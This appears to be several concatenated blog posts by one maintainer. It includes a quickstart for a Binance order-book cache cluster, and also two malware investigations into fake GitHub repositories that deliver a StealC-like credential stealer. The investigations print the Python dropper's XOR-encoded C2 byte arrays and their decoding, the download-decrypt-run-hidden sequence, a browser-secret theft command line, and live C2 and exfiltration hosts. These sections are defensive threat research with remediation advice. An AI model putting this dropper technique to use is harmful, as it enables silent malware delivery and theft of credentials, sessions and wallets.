The infrastructure fails loudly. The API contract preserves the signal. The consumer makes an explicit decision instead of accidentally trading on stale state. That is what an order book trust layer is for. Not to make the market safe. To stop your own infrastructure from pretending it knows more than it does.

UBDCC, UBLDC, UBWA, UBRA, UBTSL, UnicornFy and the dashboard are all MIT, all on PyPI, all developed in the open. Repos:

• unicorn-binance-depth-cache-cluster

• unicorn-binance-local-depth-cache

• unicorn-binance-websocket-api

• ubdcc-dashboard

• unicorn-binance-suite (umbrella)

Star what is useful. Break what is wrong. Open issues where the contract is unclear. Or drop into the unicorndevs Telegram.

Follow me on Binance Square, GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Thank you for reading, and happy coding! ¯_(ツ)_/¯

This is the quickstart.

If you want the architectural “why” behind it — why UBDCC is not just a cache, why #6000 is a trust signal, and how UBWA → UBLDC → UBDCC turns Binance depth streams into an observable trust layer — read the companion deep-dive:

UBDCC Deep-Dive: Building a Trust Layer for Binance Order Books

If your goal is simple — “I need a Binance DepthCache and I want it running now” — this is probably the shortest path I know.

With UBDCC, you can start live, correctly synchronized Binance DepthCaches in minutes, manage and automate the setup by code or REST, and use the browser dashboard as an additional operational interface with a built-in API Builder.

You do not need Kubernetes to start.
You do not need Redis.
You do not need PostgreSQL.
You do not need to build your own cache manager, failover logic, or API layer first.

The local quickstart is really just this:

pip install ubdcc
ubdcc start --dcn 4
ubdcc-dashboard start

And a few minutes later, you have live Binance DepthCaches running locally.

That is the point of this article.

Not theory.
Not architecture for architecture’s sake.
Just getting a real Binance DepthCache up and running quickly — and then understanding why the setup is stronger than it looks at first.

Not a Python developer?

That is fine.

UBDCC is implemented in Python, but once it is running, you use it like a local service over HTTP/JSON.

Your application can stay in Node.js, PHP, Go, Java, Rust, C#, or anything else that can make HTTP requests.

This is the hands-on quickstart. If you first want the technical background, read these two companion posts:

• Your Binance Order Book Is Wrong — Here's Why — why naive local Binance order books can silently accumulate stale levels.

• Why Your Binance Order Book Should Not Live Inside Your Bot — why shared market-data infrastructure is cleaner than per-bot cache ownership.

Video walkthrough

If you prefer to see the full setup once before going through the steps, here is the uncut quickstart video:

https://youtu.be/o1-nCravKnc

Who this is for

This is useful if you want a Binance DepthCache for things like:

• trading bots

• arbitrage systems

• market making

• dashboards

• alerting

• execution services

• research tools

• mixed-language setups where not everything is written in Python

If you only have one Python process and one local consumer, UBLDC may already be enough.

UBDCC is what you reach for when you want more than one in-process cache and do not want to build the rest of the infrastructure yourself.

What UBDCC is — and what it is not

UBDCC turns Binance DepthCaches into a running service.

Instead of every script opening its own WebSocket connection, downloading its own snapshot, and maintaining its own copy of the same market, you start UBDCC once and query the DepthCache over HTTP/JSON whenever you need it.

The cluster has three parts:

• mgmt — the coordinator that keeps cluster state and distributes work

• restapi — the HTTP interface your clients talk to

• dcn — short for DepthCache Node, a worker process that actually holds and maintains DepthCaches in memory

A DCN is where the real DepthCache work happens.

It fetches snapshots, consumes Binance depth streams, keeps books synchronized, re-syncs when needed, and can hold replicas for failover.

If you remember only one thing:

A DCN is the part of the cluster where the actual DepthCaches live.

UBDCC is not a trading bot.

It does not place orders, route execution, generate signals, manage portfolios, or decide what to trade. It is the market-data layer underneath those things.

Why this is useful in practice

Once a DepthCache is synchronized inside UBDCC, your consumers are no longer pulling fresh Binance snapshots again and again.

They are reading from the cache that is already running in your local cluster.

That gives you some very practical advantages:

• much lower latency than repeatedly going back to Binance REST

• far less pressure on Binance rate limits

• one running DepthCache can serve many consumers

• strategy restarts do not mean rebuilding the whole market view from scratch

• you can hit your local cluster as hard as you want without hammering Binance the same way

This is the same architectural shift I describe in more detail here: Why Your Binance Order Book Should Not Live Inside Your Bot

That is the practical value.

The “shared service” part is not the first thing the user wants.
The first thing the user wants is a Binance DepthCache that is up, correct, fast, and usable.

UBDCC just happens to solve the rest at the same time.

Step 1 — Install Python if needed

UBDCC is distributed as a Python package, so the machine that runs it needs Python 3.9 or newer.

That does not mean your own application has to be written in Python.

If you are a Node.js, PHP, Go, Java, Rust, or C# developer, think of Python here as a one-time runtime dependency: install it once, start UBDCC, and then use the running service over HTTP/JSON from your own stack.

Check whether Python is already available:

python3 --version

On Windows, if Python is missing, download and install it once from python.org.

Optional but recommended:

python3 -m venv ubdcc-env
source ubdcc-env/bin/activate
# Windows:
# ubdcc-env\Scripts\activate

Step 2 — Install UBDCC

python3 -m pip install ubdcc

That one package gives you the cluster components and the dashboard.

For the local quickstart, there is no long dependency story and no separate UI installation dance.

Install once and move on.

Step 3 — Start the cluster

ubdcc start --dcn 4

This gives you:

• 1 management process

• 1 REST API process

• 4 DCNs

That is already enough to get real Binance DepthCaches running locally with redundancy and failover potential.

After startup, note the REST endpoint, usually:

http://127.0.0.1:42081/

A setup that would normally take a fair amount of engineering work is available here as a package, a CLI, a REST API, and an optional browser dashboard.

Step 4 — Open the dashboard

In a second terminal:

ubdcc-dashboard start

By default, the dashboard binds to 127.0.0.1:8080 and opens in your browser.

Connect it to:

http://127.0.0.1:42081

The dashboard is optional, but it makes the first-run experience much easier and comes with a built-in API Builder for quick multi-language onboarding.

You can see nodes, markets, replicas, credentials, sync state, and generated API calls. That is why it matters so much: it turns a DepthCache cluster into something you can inspect and operate immediately.

Step 5 — Add credentials if needed

For pure Spot mainnet markets, you do not need credentials.

Credentials become relevant for some other Binance environments, some snapshot flows, and for getting more headroom where authenticated rate limits apply.

You can handle that through the dashboard or directly through code / REST.

In the dashboard:

• click Credentials

• choose the account group

• add an API key / secret pair

The cluster can then distribute credential assignments across nodes.

Step 6 — Create DepthCaches with replicas

Now create your first markets.

You can do this through the dashboard, through code, or directly through REST.

In the dashboard:

• click DepthCaches

• choose an exchange such as binance.com

• add symbols like BTCUSDT, ETHUSDT, BNBUSDT

• set Replicas to 2 or 3

• create them

This is the moment where the setup usually gets its first “okay, that is actually cool” reaction.

You are not creating one local cache in one process.

You are creating running Binance DepthCaches that are:

• synchronized

• visible

• replicated if you want

• ready to query over REST

Watch the tiles after creation.

They should move into a synchronized state. That is one of the strongest parts of the dashboard: it does not just show that a cache exists, it shows whether it is actually ready to trust.

The replicas are intentionally started with a slight delay. After a few minutes, they should all be in sync:

Step 7 — Kill a node and watch failover happen

Now for the part that makes the architecture feel real.

Create at least one market with replica count 3.

Then:

1. open the DCNs tab in the dashboard

2. find a DCN that hosts that market

3. copy the DCN name

4. go back to the operator console

5. remove that DCN by name

Example:

ubdcc> remove-dcn <dcn-name>

What should happen:

• the node disappears

• replica count temporarily drops

• the scheduler redistributes work

• a new replica comes up

• the market remains available through another replica

That is the difference between “I have a cache” and “I have a cache that survives node loss”.

Step 8 — Query the DepthCache over REST

Before touching application code, test from the shell.

curl 'http://127.0.0.1:42081/get_asks?exchange=binance.com&market=BTCUSDT&limit_count=5'

Or with HTTPie:

http GET 'http://127.0.0.1:42081/get_asks?exchange=binance.com&market=BTCUSDT&limit_count=5'

This is where the practical benefit becomes obvious.

You can hammer the local cluster with reads as much as you want.

Your consumers are no longer going back to Binance for fresh snapshots over and over again. They are reading from the synchronized DepthCache that UBDCC is already maintaining.

That is faster, easier on rate limits, and especially useful once several bots, dashboards, and services all need the same market view at the same time.

Step 9 — Generate client code for your language

Now open the API Builder in the dashboard.

This is one of the strongest parts of the whole setup.

The dashboard can generate snippets for:

• curl

• HTTPie

• Python

• JavaScript

• Go

• C#

• Java

• Rust

• PHP

• C/C++

So if your stack is mixed, the onboarding flow becomes very simple:

• create the DepthCaches once

• query them from any language

• copy the snippet

• paste it into your project

That is exactly how a system like this becomes useful outside one developer’s Python process.

Simple Python example

Python users can go two ways.

Raw HTTP

import requests

response = requests.get(
    "http://127.0.0.1:42081/get_asks",
    params={
        "exchange": "binance.com",
        "market": "BTCUSDT",
        "limit_count": 5
    },
    timeout=10
)

print(response.json())

Official cluster client

If you already live in the UNICORN Binance world, you can also use the official cluster-aware client path instead of raw HTTP.

That gives Python users a smooth migration path from local caches to shared cluster-backed access.

Related projects

If you want to go deeper into the stack:

• UBLDC — standalone local DepthCaches for single-process Python use

• UBWA — Binance WebSocket layer underneath the stack

• UBTSL — trailing stop-loss engine from the same suite

• UNICORN Binance Suite — the umbrella project

Final thoughts

The nice thing about UBDCC is that it starts simple.

You come for a working Binance DepthCache.

What you also get is:

• correct synchronization

• explicit cache state

• replicas

• failover

• browser management

• multi-language access

• fast local startup

• room to scale later

That is a lot to get from a pip install.

Related background:

• Your Binance Order Book Is Wrong — Here's Why

• Why Your Binance Order Book Should Not Live Inside Your Bot

If you want to try it:

• UBDCC: https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster

• UBDCC Dashboard: https://github.com/oliver-zehentleitner/ubdcc-dashboard

• Telegram: https://t.me/unicorndevs

I hope you found this tutorial informative and enjoyable!

Follow me on Binance Square, GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Thank you for reading, and happy coding!

Update (2026-04-23):

• 19 fake GitHub repos confirmed across 17 accounts

• nailproxy.space identified as the delivery-domain root; api.nailproxy.space operated as delivery C2

• final-stage payload behavior consistent with StealC v2

• GitHub takedown requested

• IOCs submitted to ThreatFox/AlienVault and published into the public threat-intelligence ecosystem

How it started

A few weeks ago I was doing some basic SEO work for my UBS projects.

On a Wednesday morning, still in bed with coffee, I did something most open-source maintainers have probably done at some point: I searched Google for my own project name — in this case, “unicorn binance websocket api” — just to see what showed up.

One of the top results was not mine.

The repository name and description were close enough to my project to be immediately noticeable, but it was not pretending to be my exact repository. It presented itself as a CLI-style wrapper built on top of UBWA.

What triggered the closer look was the social proof.

The repository was only about a month old, had zero issues, zero pull requests, and almost no visible community activity — yet it had already accumulated more stars than my actual project. The fork count also looked suspiciously high, and the overall relationship between age, activity, stars, and forks did not look organic.

That was the point where this stopped looking like a strange third-party wrapper and started looking like something deceptive. Once I started reading the code, it became obvious that this was not just opportunistic naming — it was malicious.

That was the beginning of the rabbit hole.

The initial write-up went up the next day:

• nailproxy.space: A Multi-Repository GitHub Malware Campaign

At that point I had already confirmed a set of fake repositories and filed a GitHub report. What I did not know yet was what the malware chain actually did after the victim ran the code.

This post is about that part — and about the second question that naturally followed once the first one was answered:

What else is this operator doing, and how much of this campaign is actually visible?

One point is worth stating precisely from the beginning: the GitHub delivery chain was undocumented before this analysis. That does not mean every backend component was unknown. One of the later-stage infrastructure elements — 62.60.226.113 — had already been tagged individually on ThreatFox as StealC-related infrastructure in December 2025. What had not been documented publicly was the connection between that backend and this specific fake-repository delivery chain, or the role of nailproxy.space within it.

The two questions

By the time I sat down to work through this properly, there were two concrete questions I wanted answered:

1. What does the malware actually do on a victim machine?
   It is one thing to say “this is malicious.” It is another to tell affected developers exactly which credentials, sessions, wallets, and tokens they should now assume are compromised.

2. How large is the operation behind it?
   The fake GitHub repos were the visible part. I wanted to know whether they were the entire campaign or just one delivery channel for something bigger.

Both questions turned out to be answerable.

A quick note on resources

Before the technical part, one thing is worth saying clearly: I did this on a personal-developer budget, not on a commercial threat-intel budget.

That meant leaning on free tiers and public services where possible, and accepting that some pivots and sample sources would simply be out of reach. A well-equipped threat-intel team could probably have moved faster and pulled in more data from premium services. But most of what follows was still reproducible with public tooling, free APIs, and a few focused hours.

The services that mattered most were:

• VirusTotal — for hashes, domains, IP metadata, sample upload, and especially the per-sandbox behavior views

• abuse.ch (ThreatFox / MalwareBazaar / URLhaus) — for IOC correlation and public malware context

• AlienVault — for IOC correlation and public malware context

• Hybrid Analysis — for metadata on dropped files and cross-sample visibility

• Shodan — useful in limited ways even on the free tier

• GitHub code search — essential for scoping the public-facing repository cluster

• crt.sh — for certificate-transparency pivots

And yes, AI-assisted analysis played a real role throughout.

I want to be transparent about that, because it genuinely changed the speed of the work. Writing fetchers, pivoting on new indicators, normalizing data from different APIs, and moving quickly from one lead to the next is exactly where that kind of tooling is useful. Every substantive finding still had to be checked against raw output, but the glue work was dramatically faster.

What the malware does — the kill chain

The chain breaks down into three stages:

1. a Python dropper embedded in the fake repositories

2. a native Windows loader

3. the final payload

Each stage is different, and each answered a different part of the investigation.

Stage 1 — the Python dropper

If a victim clones one of the fake repositories and runs main.py, the entry point is wrapped in an @ensure_env decorator imported from a utils/ module.

That decorator is the trigger.

On first call, it runs a short initialization sequence: operating-system check, Python-version check, architecture check (x64/x86 only; ARM exits quietly), then a delivery handshake to the campaign infrastructure.

The endpoint construction is hidden inside compat.py:

_COMPAT_LEVEL = 194   # disguised as a "compat level"

_API_SCHEMA = bytes([0xAA, 0xB6, 0xB6, 0xB2, 0xB1])
_API_HOST   = bytes([0xF8, 0xED, 0xED, 0xA3, 0xB2, 0xAB, 0xEC])
_API_DOMAIN = bytes([0xAC, 0xA3, 0xAB, 0xAE, 0xB2, 0xB0])
_API_TLD    = bytes([0xAD, 0xBA, 0xBB, 0xEC, 0xB1, 0xB2, 0xA3, 0xA1, 0xA7])

A single-byte XOR against 0xC2 decodes this to:

https://api.nailproxy.space

The HMAC-SHA256 secret used for the handshake is hidden in the same file, presented as a dictionary of “platform hashes”.

From there, the flow is straightforward:

• POST /api/v1/auth/session returns a nonce and timestamp

• the dropper signs the values with the embedded HMAC key

• POST /api/v1/data/sync returns an AES-GCM-encrypted blob

• the Python code decrypts it

• checks for an MZ header

• writes it to %TEMP%\~DF<random>.exe

• launches it with CREATE_NO_WINDOW

• deletes the executable afterwards

There is no console window and usually nothing obvious for the user to notice.

One detail stood out immediately: four of the five utils/*.py files were byte-identical across the fake repositories I confirmed. Only compat.py varied — and even that varied in a controlled way, with the same exact file size and the same purpose. The logic remained the same; the constants rotated just enough to break simple file-hash matching.

That is not an accidental copy-paste mess. That is deliberate operational design.

Stage 2 — the loader

The decrypted payload is a Windows PE64 executable of roughly 11.1 MB that masquerades as sysconf.exe.

Its metadata is designed to look harmless: fake Microsoft-style branding, fake service names, plausible-looking version information. In Task Manager it would not look immediately suspicious to most users.

What made this binary interesting was how little static visibility it offered.

• I got no useful YARA hits against a large public ruleset covering major commodity stealers.

• FLOSS recovered nothing meaningful — no clear strings, no stack-built strings, no easy decoded artifacts.

• It had no prior public submissions when first uploaded for analysis.

At the same time, capa still exposed important structural clues:

• FNV-style API hashing

• PE export-table walking

• ChaCha20/Salsa20-related capability signals

• multi-layer XOR behavior

• evidence of a command/interpreter style architecture

• a heavily opaque PE layout dominated by a large .data section

That combination strongly suggested a custom or private loader, not a commodity off-the-shelf first stage.

What it did not justify, on its own, was a direct family attribution to Rhadamanthys or anything else. The architecture was loader-like and heavily obfuscated, but the value here was in understanding its role in the chain, not in forcing a family label where the evidence was thinner than the behavior.

Stage 3 — the final payload

Static analysis of the loader only got me so far. The next step required dynamic behavior.

When I first uploaded the sample to VirusTotal, the top-level behavior summary was misleadingly empty: no visible process tree, no DNS, no obvious file writes, no network activity.

The per-sandbox view told a different story.

Some sandboxes were clearly being detected and evaded. One of them — CAPE — made it far enough to reveal the full chain:

sysconf.exe
  ├── drops: msedgeview.dll
  ├── launches: rundll32.exe msedgeview.dll,#3
  └── launches: chrome.exe --disable-gpu --no-sandbox --disable-extensions
                 --user-data-dir=%TEMP%\v20_0000FF100B60 about:blank

That behavior matters.

The dropped DLL was small — about 55 KB — compared to the 11 MB loader that delivered it. That size imbalance strongly suggests the loader’s job is primarily staging, anti-analysis, and controlled execution rather than carrying the final value itself.

The Chrome launch line is even more important. The temporary v20_... profile path is highly characteristic of modern browser-theft workflows targeting Chrome App-Bound Encryption, introduced in recent Chrome builds. Instead of trying to decrypt protected secrets directly, the malware abuses Chrome’s own execution context to do it.

The network behavior showed two distinct roles.

Delivery infrastructure

• https://api.nailproxy.space

• /api/v1/auth/session

• /api/v1/data/sync

Exfiltration / tasking infrastructure

• https://62.60.226.113:6673

• https://spellmarketplace.club

Both exfiltration endpoints used the same path style:

/<24-character-alphanumeric-id>/[h|g|u]

So api.nailproxy.space appears to be the delivery channel, while the actual post-infection communications go elsewhere.

Payload attribution: consistent with StealC v2, high-confidence inferred

The strongest attribution signal came from the exfiltration side.

The IP 62.60.226.113 had already appeared in public StealC-related reporting on ThreatFox before this GitHub campaign became visible. Combined with the observed behavior — DLL execution via rundll32, browser abuse for Chrome decryption, geolocation probes, the URL-path shape, and the overall post-infection flow — the final-stage behavior is best described as consistent with StealC v2.

The evidence for that inference is:

• 62.60.226.113 had already been tagged independently on ThreatFox as StealC-related infrastructure

• the URL-path schema /<24-char-alnum>/[h|g|u] matches documented StealC-style behavior

• the Chrome App-Bound Encryption bypass pattern matches documented StealC v2 reporting

• the rundll32-based DLL execution and geolocation probes match public StealC v2 tradecraft descriptions

• the overall anti-analysis and post-infection behavior fit the same profile

What I am not claiming is a direct family signature match for the final DLL. I did not get a direct public YARA hit tying this exact sample to StealC, and I did not independently unpack and reverse the DLL itself. The attribution is therefore best framed as high-confidence inferred from infrastructure correlation and behavioral overlap, not as a direct code-signature confirmation.

That distinction matters.

What a victim should assume is exposed

Based on the observed behavior plus public StealC v2 reporting, a victim should assume exposure of at least the following categories of data:

• saved browser credentials

• browser cookies and active sessions

• autofill data and browsing history

• browser-based wallet-extension data

• desktop wallet files where present

• Telegram Desktop session data

• Discord tokens/session artifacts

• locally stored credentials for developer, cloud, VPN, FTP, or remote-access tooling

• files in user directories, depending on configuration and operator choices

For the likely audience of these lures — developers, traders, crypto-adjacent users, and technically comfortable individual operators — that combination is severe.

If a victim used browser-based exchange sessions, API keys, local wallets, cloud credentials, or developer tokens on the affected machine, they should assume those assets are compromised until proven otherwise.

How large is the backend?

This part was informative in a different way.

The GitHub-facing cluster

Based on the available code-search pivots, the public GitHub repository cluster appears bounded for now.

A code search against three distinctive comment strings from the byte-identical utils/*.py modules returned exactly the same 19 repositories across all three queries. That is strong convergent evidence for the public-facing scope.

There are important caveats:

• GitHub code search only covers public repositories

• very recent repositories might not yet be indexed

• private repositories would not appear

• repositories already removed during the takedown process would not appear

Within those limits, the cleanest statement is:

19 confirmed public repos, likely complete for the publicly visible and indexed scope at the time of analysis.

Those 19 fake repos were spread across 17 distinct accounts, with two accounts contributing two repos each.

The real infrastructure

The exfiltration side was more interesting.

The IP 62.60.226.113 appears to sit on shared hosting infrastructure rather than on a dedicated operator-owned host. In other words, it should not be treated as a unique single-campaign asset. That matters because over-pivoting on the IP alone would create noise and false positives.

At the same time, I found evidence of at least one additional loader sample associated with the same broader operator pattern and the same spellmarketplace.club exfiltration side, but not obviously delivered through the same GitHub repo chain.

That suggests the fake GitHub repositories are likely one delivery channel, not the whole operation.

Timeline

What to do if you ran one of these repositories

If you executed main.py or any equivalent entry file from one of the fake repositories on Windows, I would treat that machine as compromised.

In practical order:

1. Disconnect the system from the network.

2. Preserve evidence if needed, then wipe and reinstall rather than trying to “clean” it in place.

3. Rotate every password used in any browser on that machine, prioritizing:

   • exchange and banking accounts

   • email accounts

   • GitHub / GitLab

   • cloud providers

   • VPN / SSO

4. Invalidate active sessions anywhere that supports it.

5. Revoke and reissue API keys, including exchange, cloud, CI/CD, GitHub, and PyPI tokens.

6. Treat browser-extension wallets and local-wallet material as exposed and move funds to fresh wallets created on trusted hardware.

7. Review Telegram, Discord, and other persistent-session apps and invalidate all active sessions.

8. Inform employers or vendors if any corporate credentials, tokens, or keys were present on that machine.

Speed matters. The longer the gap between execution and response, the greater the attacker’s opportunity to cash out sessions, credentials, and wallets.

IOCs

Hashes

loader (stage 2):
251037ceebfbacd419b663ebcf0e01ec80a2c46dbfc85f66492c8585b481fb8c

stealer DLL (stage 3):
c27590c766583599eac98ed3e20c54e49c792be409f126577e7475294affac1f

sibling loader:
155dc73761ebaab0e4f5c0e18cf09dbd5728ce61361db218a5727355ca8adc1a

stage-1 Python module hashes:
utils/bootstrap.py : 54111f7e5f7aa425704fb45bf79d4e354cfb959f2c22aee6cbb79730d5a6a3aa
utils/http.py      : b3668182408c4078e20c04d03a04804bc9640238361af9a15d44c3950192eedc
utils/integrity.py : 041f48d92b7b410c93c83d8352e3b0c18ca2e10dfce8cbc38748ab862b08982e
utils/__init__.py  : 37380d20800d196e3a20fc98fba80d1365a63acbf9dadad7debc48e157520edd
run.bat            : c5866b202eb5fc7009ee045952d893c1b373d965f9491f8502075de11c132d62

Network

delivery:
https://api.nailproxy.space
/api/v1/auth/session
/api/v1/data/sync

exfiltration/tasking:
62.60.226.113:6673
https://spellmarketplace.club

pre-exfil geolocation probes:
ip-api.com
ipinfo.io
ipapi.co

Repository cluster

The confirmed fake GitHub repositories are listed in the earlier campaign post:

• nailproxy.space: A Multi-Repository GitHub Malware Campaign

The related IOCs were also submitted to ThreatFox/AlienVault and are now part of the public threat intelligence ecosystem.

Two practical lessons for defenders

Two technical points are worth highlighting for anyone doing similar work.

1. Per-sandbox behavior matters

A summary behavior view can miss the entire chain if some sandboxes are evaded cleanly. In this case, looking only at the top-level behavior summary would have left the sample looking inert.

The useful data came from the per-sandbox views.

2. The best correlation marker is not just the IP

The shared exfiltration host is on shared infrastructure. The more useful operator marker is the combination of:

• custom-port HTTPS

• the /<24-char>/[h|g|u] path shape

• the sysconf.exe masquerade pattern

• the delivery link back to api.nailproxy.space

That combination is far more useful than the IP by itself.

Final note

What started as a simple self-search for my own project name turned into something much bigger.

First it looked like one fraudulent repository. Then it became a small GitHub campaign. Then the delivery chain opened up into a loader and a final-stage payload consistent with StealC v2.

That progression is exactly why these fake repositories matter.

They are not just repo clones, not just SEO abuse, and not just brand confusion. They are a working malware-delivery channel aimed at the kinds of users who are most likely to have valuable sessions, tokens, wallets, and developer credentials on the same machine.

If you maintain an open-source project, this is a good reminder to occasionally search for your own project name. Sometimes that is all it takes to find the beginning of a much larger problem.

Follow me on GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Thank you for reading! ¯\_(ツ)_/¯

Update (2026-04-22, 13:33): I submitted this case to GitHub Support for campaign-level review. Ticket ID: 4313391.

Further update (2026-04-23): I published a deeper technical follow-up covering the delivery chain, loader behavior, and StealC-linked final-stage payload analysis.
Read: From a coffee-in-bed Google search to a StealC-linked campaign — the story behind nailproxy.space

TL;DR: What initially looked like a single fraudulent repository impersonating UNICORN Binance WebSocket API now appears to be part of a broader multi-repository GitHub malware campaign.
Across the currently confirmed set, the repositories share the same C2 infrastructure, the same staged Windows payload flow, the same deceptive repository framing, and the same manipulated-looking social proof patterns.
At the time of writing, I have 19 confirmed repositories in scope. The list is likely incomplete.

This post is a follow-up to my earlier write-up on the fraudulent repository impersonating UNICORN Binance WebSocket API:

• Security Warning: Fraudulent GitHub Repository Impersonating UNICORN Binance WebSocket API

That first article focused on one repository. Further analysis shows that the UBWA-themed repository is very likely one lure inside a broader campaign.

How This Started

The starting point was a repository using the UNICORN-Binance-WebSocket-API name while the legitimate project is maintained separately through the official project channels:

• Official GitHub repository: oliver-zehentleitner/unicorn-binance-websocket-api

• Official PyPI package: unicorn-binance-websocket-api

What initially made the fraudulent repository stand out was the mismatch between its visible development footprint and its public social proof. That led to a closer static review of the startup path, which in turn exposed staged Windows payload behavior.

From there, the obvious next question was:

Is this an isolated repository, or part of something larger?

The answer now appears to be: something larger.

Campaign Summary

Across the currently confirmed set, the repositories share several core properties:

• the same decoded C2 host

• the same session and sync paths

• the same staged Windows payload execution flow

• the same deceptive facade pattern

• the same or highly similar utils/ module structure

• the same repeated commit choreography

• the same manipulated-looking star and fork behavior

At the time of writing, I have 19 confirmed repositories associated with this pattern.

Shared Infrastructure

The strongest campaign signal is the infrastructure overlap.

Across all confirmed samples I reviewed, the per-repository XOR-decoding logic in utils/compat.py resolves to the same endpoint:

https://api.nailproxy.space

The same repositories also use the same two application paths:

• POST /api/v1/auth/session

• POST /api/v1/data/sync

The visible code also contains the same DNS-bypass strategy and the same Windows-oriented fallback behavior.

Deobfuscated Indicators

The following values are relevant from a defensive and incident-response perspective:

• C2 endpoint: https://api.nailproxy.space

• Session path: /api/v1/auth/session

• Sync path: /api/v1/data/sync

• Hard-coded fallback IP: 104.21.0.1

• Additional IP present in pool: 172.67.0.1

• Transport fallback: curl.exe --resolve

• Payload type: Windows PE (MZ)

• Temp prefix: ~DF

• Staged extension: .exe

• Launch flag: 0x08000000 (CREATE_NO_WINDOW)

These indicators are included as defensive context only.

Shared Execution Flow

The execution flow is consistent across the analyzed repositories.

In the UBWA-themed repository, the application entry point is decorated with @ensure_env in main.py, which means the environment bootstrap path executes immediately when the application starts.

A simplified version of the visible flow looks like this:

1. Check operating system support and Python version.

2. Check whether the architecture is x64 or x86.

3. Decode the remote endpoint from XOR-obfuscated byte arrays.

4. Request a session object from /api/v1/auth/session.

5. Sign the returned challenge using HMAC-SHA256.

6. Request an encrypted blob from /api/v1/data/sync.

7. Decrypt the blob with AES-GCM.

8. Hand the result to bootstrap.apply() in a daemon thread.

9. Stage the result as a Windows executable in temp.

10. Launch it without a visible window.

11. Delete the staged file afterward.

The same overall structure appears in the other confirmed samples, even where lure topic, README framing, or facade modules differ.

Shared Dropper Components

One of the clearest signs that this is a campaign rather than unrelated copycats is the shared utils/ structure.

The key modules are:

• utils/__init__.py

• utils/bootstrap.py

• utils/compat.py

• utils/http.py

• utils/integrity.py

In the UBWA and TurnKey samples, four of these files are byte-identical:

• __init__.py

• bootstrap.py

• http.py

• integrity.py

Only compat.py differs, and that difference is narrow: the XOR key and encoded byte arrays vary per repository, but the decoded result still points to the same C2.

That strongly suggests a reusable generation pattern rather than hand-written independent tooling.

Commit and Timing Pattern

The commit history also shows repetition.

Across multiple repositories, the commit pattern follows the same sequence:

1. Initial commit

2. Script release

3. Update README.md

4. Add files via upload

The important part is the last step.

That final upload is where the malicious utils/ path appears.

In the two repositories under gesine1541ro7, both repos were created within minutes of each other, and both received the malicious upload on the same day only minutes apart.

That is not what normal open-source iteration looks like.

It looks like batch preparation followed by staged weaponization.

Social-Proof Manipulation

The social-proof pattern is also highly unusual.

In the UBWA-themed repository:

• 816 total stars

• 607 stars on 2026-03-17

• 204 stars on 2026-03-18

That means 811 of 816 stars arrived on two consecutive days, well after repository creation.

In the TurnKey sample:

• 83 total stars

• 82 stars on a single day

The fork pattern is equally suspicious.

The visible fork-owner names follow a repeated structure that looks machine-generated, and there is confirmed overlap between fork accounts across multiple campaign repositories.

That does not prove every single account is controlled by the same operator, but it is more than enough to treat the apparent popularity of these repositories as untrustworthy.

Lure Diversity

Another notable feature of the campaign is the range of lure topics.

The currently confirmed repositories include themes such as:

• Binance and crypto trading tools

• Web3 airdrop or farming bots

• GPT wrappers and jailbreak tools

• OSINT tooling

• fake CVE/security research tools

• AI utility tools

• cryptography-related libraries

That is important because it shows the campaign is not narrowly focused on one brand or one audience.

The pattern is broader:

use plausible developer-adjacent or trader-adjacent bait, attach a polished facade, then reuse the same malware delivery architecture underneath.

Confirmed Repository Set

At the time of writing, I have 19 confirmed repositories in scope:

1. gesine1541ro7/UNICORN-Binance-WebSocket-API

2. gesine1541ro7/TurnKey-Auto-Bot

3. lucija8320nhung4/HacxGPT

4. MarCmcbri1982/KawaiiGPT

5. Kaleighc793/freqtrade-bot

6. Janis174756/Binance-Futures-Trading-Bot

7. lauraevz6y70/gnark-crypto

8. Jamie3t1991/BeraChainTools

9. FrankDavis236869/spyder-osint

10. CrystALqsxvk39/Python-Bitcoin-Utils

11. Courtneybake80/Polyseed-Monero

12. courtneyb8345/pharos-automation-bot

13. Della38840/Robinhood

14. charlo1492charlo14928/openfi-bot

15. Giuditta8/Uomi-Testnet

16. Jessica74016/CVE-2025-8088

17. fernandez81188studio/SORA2-Watermark-Remover

18. Annehuqr0Craft96/Mitosis-Farm

19. charlo1492charlo14928/NFT-Yield-Farming

This list should be treated as a confirmed minimum, not a complete boundary.

What Is Confirmed vs. What Is Likely

It is important to separate what is directly supported from what is still inference.

Confirmed

• multiple repositories decode to the same C2 host

• the same session and sync paths recur

• the same staged Windows payload flow recurs

• the same utils/ architecture recurs

• the same repeated commit pattern recurs

• the same manipulated-looking star and fork patterns recur

• fork-account overlap exists across campaign repositories

Likely, but still incomplete

• the campaign is larger than the currently confirmed set

• some account clusters are rotating identities used by the same operator or operator group

• the visible star/fork activity is synthetic or purchased

• the lure set is still expanding or can be regenerated on demand

That distinction matters. It keeps the write-up grounded.

Pycache and Build Fingerprint

I also checked the committed .pyc files in the UBWA-themed repository.

They do not contain a hidden second-stage path that differs from the visible facade source. In other words, the malicious behavior is already present in the visible source path.

What is more interesting is the asymmetry:

• committed __pycache__ exists for facade modules

• no equivalent committed cache set was present for the malware-bearing utils/ path in the UBWA sample

That is not proof of workflow by itself, but it is consistent with a timeline in which the facade was developed or tested locally first, and the malware-bearing utils/ path was introduced later.

Why This Matters

This matters for three reasons.

1. It is an ecosystem trust problem

This is not just about one repo name.

It is about abusing trust signals developers rely on:

• recognizable topics

• polished READMEs

• stars and forks

• plausible project structures

• familiar library ecosystems

2. It targets real user behavior

The repositories are designed around realistic behavior:

• cloning code from GitHub

• running python main.py

• launching via run.bat

• trusting a tool because it looks connected to a known project or topic

3. The lure themes are operationally smart

The campaign does not depend on one niche. It spans trading, AI, crypto, automation, and developer tooling.

That is exactly how a scalable lure operation behaves.

Recommended Response

If you ran one of these repositories on Windows, I would treat the host as potentially compromised.

Recommended next steps:

1. isolate the system

2. preserve evidence

3. review endpoint protection / EDR / antivirus telemetry

4. inspect recent process execution and temp-directory activity

5. review outbound connections

6. rotate potentially exposed credentials

7. revoke and recreate exchange/API credentials where relevant

I would also strongly recommend reporting the relevant repositories and accounts to GitHub.

Request for Independent Validation

The current confirmed set is useful, but likely incomplete.

If others want to independently validate or extend this set using only public repository metadata and static source review, that additional confirmation would be valuable.

I am not asking anyone to interact with the infrastructure, execute the code, or probe the C2.

Useful contributions would be things like:

• confirming additional repositories that decode to the same C2

• validating reuse of the same utils/ architecture

• checking for broader account overlap

• identifying additional star/fork anomalies

